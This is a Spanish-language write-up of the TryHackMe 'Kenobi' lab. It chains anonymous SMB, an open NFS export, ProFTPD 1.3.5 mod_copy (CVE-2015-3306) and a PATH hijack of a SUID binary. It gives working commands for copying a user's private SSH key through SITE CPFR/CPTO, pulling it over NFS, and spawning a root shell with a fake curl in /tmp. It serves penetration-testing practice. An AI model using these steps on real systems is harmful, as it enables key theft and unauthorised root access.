📝 Kenobi — TryHackMe Write-up
Encadenamiento de SMB anónimo, NFS sin autenticar y ProFTPD mod_copy (CVE-2015-3306) para obtener acceso SSH como kenobi. Escalada a root vía Path Hijacking sobre un binario SUID que llama a curl sin ruta absoluta.
Kenobi está catalogada como “easy” en TryHackMe pero técnicamente es de las salas que más aprovechas si vas con calma, porque el truco no está en una técnica aislada sino en cómo encadenas cuatro: SMB anónimo te da la pista, NFS te da un canal de salida, ProFTPD te da el “copy” que necesitas, y un SUID mal escrito te lleva a root. Ningún paso por separado es suficiente.
Aquí ves en miniatura cómo se construyen los ataques reales: nadie tiene un exploit mágico que te da root de una. Lo que tienen es la paciencia de encontrar tres bugs medianos y darse cuenta de que combinándolos pasas de “no tengo nada” a “soy root”. Es exactamente la mentalidad que separa a alguien que sabe correr exploits de alguien que sabe pentesting.
graph LR
A["🖥️ Attacker"] -->|nmap| B["Port Scan"]
B -->|445,111,21| C["Services"]
C -->|SMB/NFS| D["Data Access"]
D -->|ProFTPD| E["SSH Key"]
E -->|Path Hijack| F["🚩 Root"]
| Propiedad | Valor |
|---|---|
| Plataforma | TryHackMe |
| Dificultad | 🟢 Beginner |
| Tiempo | ~45 min |
| Técnicas | SMB, NFS, Path Hijacking |
TL;DR: SMB anonymous expone un
log.txtque revela una clave SSH privada en/home/kenobi/.ssh/id_rsa→ ProFTPD 1.3.5 conmod_copypermite copiar esa clave sin auth a/var/nfs→ montamos NFS y nos llevamos la clave → SSH comokenobi→ binario SUID/usr/bin/menullama acurlsin ruta absoluta → Path Hijacking con/bin/shfalso en/tmp→ root.
Información de la máquina
| Campo | Valor |
|---|---|
| Plataforma | TryHackMe |
| Dificultad | Easy |
| OS | Linux (Ubuntu) |
| IP | 10.128.150.121 |
| Fecha | 2026-04-01 |
Técnicas utilizadas
- Enumeración de puertos con
nmap - Enumeración de shares SMB con
smbclientysmbget - Enumeración de NFS con
showmount - Explotación de ProFTPD 1.3.5
mod_copy(CVE-2015-3306) - Montaje de NFS para exfiltrar clave SSH privada
- Escalada de privilegios por Path Hijacking sobre binario SUID
Notas previas — entorno Arch Linux
Esta sala la hice desde Arch en lugar de Kali, y hay tres cosas que me hicieron perder tiempo. Si vas también con Arch (o con cualquier distro distinta a Kali), te ahorras el dolor:
smbclient getno funciona en Arch. Falla por diferencias en cómo Arch empaqueta Samba. La solución es usarsmbgeten su lugar:
1 smbget smb://IP/share/archivo -a # -a = anonymous
Permisos al copiar
id_rsacon sudo. Si copias el archivo siendo root, SSH luego rechaza la clave porque el propietario no coincide con el usuario. Arreglar siempre con:
1 2 sudo chown saskull:saskull id_rsa chmod 600 id_rsa
/bin/bashbaja privilegios desde un SUID. Bash detecta cuando es invocado desde un binario con setuid y elimina los privilegios elevados como medida de seguridad. Si quieres mantener root tras explotar un SUID, usa/bin/sh:
1 echo /bin/sh > /tmp/curl # no /bin/bash
Enumeración
Nmap completo
1
nmap -sC -sV -p- 10.128.150.121 -T4 -oA nmap_kenobi
Puertos encontrados:
| Puerto | Servicio | Versión |
|---|---|---|
| 21/tcp | FTP | ProFTPD 1.3.5 |
| 22/tcp | SSH | OpenSSH 7.2p2 |
| 80/tcp | HTTP | Apache 2.4.18 |
| 111/tcp | RPC | rpcbind |
| 139/tcp | SMB | Samba |
| 445/tcp | SMB | Samba |
| 2049/tcp | NFS | nfs |
Tres cosas saltan a la vista nada más ver el output:
- ProFTPD 1.3.5 — versión exacta, públicamente vulnerable a
mod_copy(CVE-2015-3306) - NFS expuesto — puerto 111 + 2049 abiertos. Hay que enumerar shares con
showmount - SMB en puerto 139/445 — primer paso obvio, probar anonymous
Cuando veas puerto 111 (rpcbind) o 2049 (nfs) abiertos en una máquina, lanza
showmount -e <IP>siempre. NFS mal configurado es uno de los hallazgos más recurrentes en pentests reales en empresas con infra Linux antigua.
Enumeración SMB
1
2
# Listar shares disponibles
smbclient -L //10.128.150.121 -N --configfile=/etc/samba/smb.conf
Share encontrado: anonymous (accesible sin contraseña).
1
2
# Descargar archivo del share (en Arch, usar smbget)
smbget smb://10.128.150.121/anonymous/log.txt -a
Contenido de log.txt — información crítica encontrada:
1
2
Generating public/private rsa key pair.
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
El log revela dos datos clave:
- Existe un usuario llamado
kenobi - Tiene una clave SSH privada en
/home/kenobi/.ssh/id_rsa
Si conseguimos esa clave, entramos por SSH como kenobi sin necesidad de contraseña.
Enumeración NFS
1
showmount -e 10.128.150.121
Output:
1
/var/nfs *
El asterisco significa que /var/nfs está accesible desde cualquier IP, sin restricciones. Esto va a ser nuestra “carpeta de salida” para sacar la clave SSH del sistema.
Explotación — ProFTPD 1.3.5 mod_copy
Por qué funciona
ProFTPD 1.3.5 tiene el módulo mod_copy habilitado por defecto. Este módulo permite copiar archivos internos del sistema sin autenticación usando los comandos SITE CPFR (copy from) y SITE CPTO (copy to).
El bug está en que mod_copy no valida los permisos del usuario conectado. Cualquiera puede copiar cualquier archivo legible por el proceso FTP (que normalmente corre como nobody o proftpd, pero a veces tiene permisos amplios) a cualquier ruta escribible del sistema.
Explotación práctica
1
2
3
4
5
6
# Conectar al FTP por netcat (sin login)
nc 10.128.150.121 21
# Copiar la clave SSH privada de kenobi a /var/nfs (accesible por NFS)
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/nfs/id_rsa
Con esos dos comandos, la clave privada de kenobi acaba de aparecer en /var/nfs/id_rsa, que es donde NFS expone archivos a cualquiera.
Acceso inicial — SSH como kenobi
Montar NFS y recuperar la clave
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Crear punto de montaje
sudo mkdir /mnt/kenobiNFS
# Montar el share NFS
sudo mount -t nfs 10.128.150.121:/var/nfs /mnt/kenobiNFS
# Copiar la clave a nuestra carpeta de trabajo
cp /mnt/kenobiNFS/id_rsa ~/Escritorio/THM/Kenobi/
# Arreglar propietario y permisos (crítico)
sudo chown saskull:saskull id_rsa
chmod 600 id_rsa
# Desmontar
sudo umount /mnt/kenobiNFS
Conectar por SSH
1
ssh -i id_rsa kenobi@10.128.150.121
Acceso conseguido como usuario kenobi.
1
kenobi@kenobi:~$ cat user.txt
Escalada de privilegios — Path Hijacking sobre SUID
Buscar binarios SUID
1
find / -perm -u=s -type f 2>/dev/null
Binario sospechoso encontrado: /usr/bin/menu.
Los otros SUID son estándar del sistema (sudo, passwd, mount, su…). menu no es un binario habitual de Linux: es personalizado y tiene SUID. Es exactamente el tipo de cosa que hay que investigar.
Analizar el binario
1
strings /usr/bin/menu
Output relevante:
1
2
3
4
5
6
1. status check
2. kernel version
3. ifconfig
curl -I localhost
uname -r
ifconfig
El binario llama a curl, uname e ifconfig sin ruta completa. Esto significa que confía en el $PATH del usuario para encontrarlos. Como menu corre como root (SUID), si sustituimos curl por algo malicioso en una ruta que se busque antes que /usr/bin/, ese algo malicioso se ejecutará como root.
Este es el patrón clásico de Path Hijacking: un binario con SUID llama a otro binario sin especificar la ruta absoluta. La defensa es siempre usar paths absolutos (
/usr/bin/curlen vez decurl). El error es común en scripts y herramientas mal escritas.
Ejecutar el Path Hijacking
1
2
3
4
5
6
7
8
9
10
# Crear un "curl" falso en /tmp que simplemente arranca una shell
echo /bin/sh > /tmp/curl
chmod 777 /tmp/curl
# Poner /tmp primero en el PATH para que se busque antes que /usr/bin
export PATH=/tmp:$PATH
# Ejecutar el binario SUID
/usr/bin/menu
# Seleccionar opción 1 (la que llama a curl internamente)
1
2
3
4
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi)
# cat /root/root.txt
Por qué
/bin/shy no/bin/bash: bash incluye una protección que detecta cuando se ejecuta desde un binario con setuid y elimina los privilegios elevados automáticamente.sh(dash en Ubuntu) no tiene esta protección y mantiene el UID efectivo del binario que lo llamó. Es un detalle pequeño pero crítico que arruina muchos intentos de Path Hijacking si no lo sabes.
Flags
| Flag | Ubicación |
|---|---|
| user.txt | /home/kenobi/user.txt |
| root.txt | /root/root.txt |
Resumen del flujo — cómo encajan las piezas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SMB anonymous share
└─> log.txt revela que kenobi tiene id_rsa en /home/kenobi/.ssh/
NFS expone /var/nfs accesible sin autenticación
└─> podemos montar esa carpeta y descargar lo que haya ahí
ProFTPD mod_copy permite copiar archivos sin autenticación
└─> copiamos /home/kenobi/.ssh/id_rsa a /var/nfs/id_rsa
Montar NFS → descargar id_rsa
└─> SSH como kenobi sin contraseña
Binario SUID /usr/bin/menu llama a curl sin ruta absoluta
└─> curl falso en /tmp + PATH manipulado
└─> menu → curl falso → /bin/sh con UID 0 → root
Ninguna técnica sola era suficiente. Las tres primeras se encadenan para conseguir el acceso inicial. La cuarta escala a root. Esto es lo que diferencia un ejercicio de “lanzar exploits” de un ataque de verdad: la pieza que falta para conectar A con D nunca está donde la buscas, está en B y C.
Lecciones aprendidas
- Cuando ves puerto 111 o 2049 → siempre
showmount -e <IP>para enumerar NFS - SMB anonymous puede contener información que revela rutas y nombres de usuarios del sistema, no solo archivos jugosos en sí
- ProFTPD 1.3.5 → comprobar
mod_copyconnc <IP> 21y probarSITE CPFR/SITE CPTO. Si ProFTPD acepta esos comandos sin login, está habilitado y vulnerable - Las claves SSH privadas necesitan permisos exactos
600y propietario correcto. Si SSH rechaza tu clave conBad permissions, casi siempre es por esto stringssobre un binario SUID es la primera herramienta para encontrar privesc: revela los programas y rutas que el binario invoca internamente- Si un SUID llama programas sin ruta absoluta → vulnerable a Path Hijacking
- Usar
/bin/shen vez de/bin/bashpara mantener privilegios desde un SUID - En Arch,
smbgeten vez desmbclient getpara descargar archivos por SMB
Reflexión
Lo que más me ha enseñado esta sala es que encontrar el “qué” es la parte fácil. ProFTPD vulnerable con searchsploit lo encuentras en 30 segundos. NFS expuesto en showmount te lo dice una herramienta gratis. El binario SUID lo lista find. Lo difícil — y lo que me llevó tiempo en mi primera intentona — es darme cuenta de que esos tres hallazgos sueltos forman una cadena.
Cuando vienes de IT corporativo como yo (Power Platform, M365, automatización) tienes el reflejo de pensar problema → solución directa. Pentesting es lo contrario: tienes que pensar en términos de encadenamiento, donde la “solución” intermedia (acceder a /var/nfs) no es el objetivo final pero sin ella no llegas al objetivo. Esta mentalidad de “qué me da esto que pueda combinar con aquello” es lo que estoy practicando con cada caja.
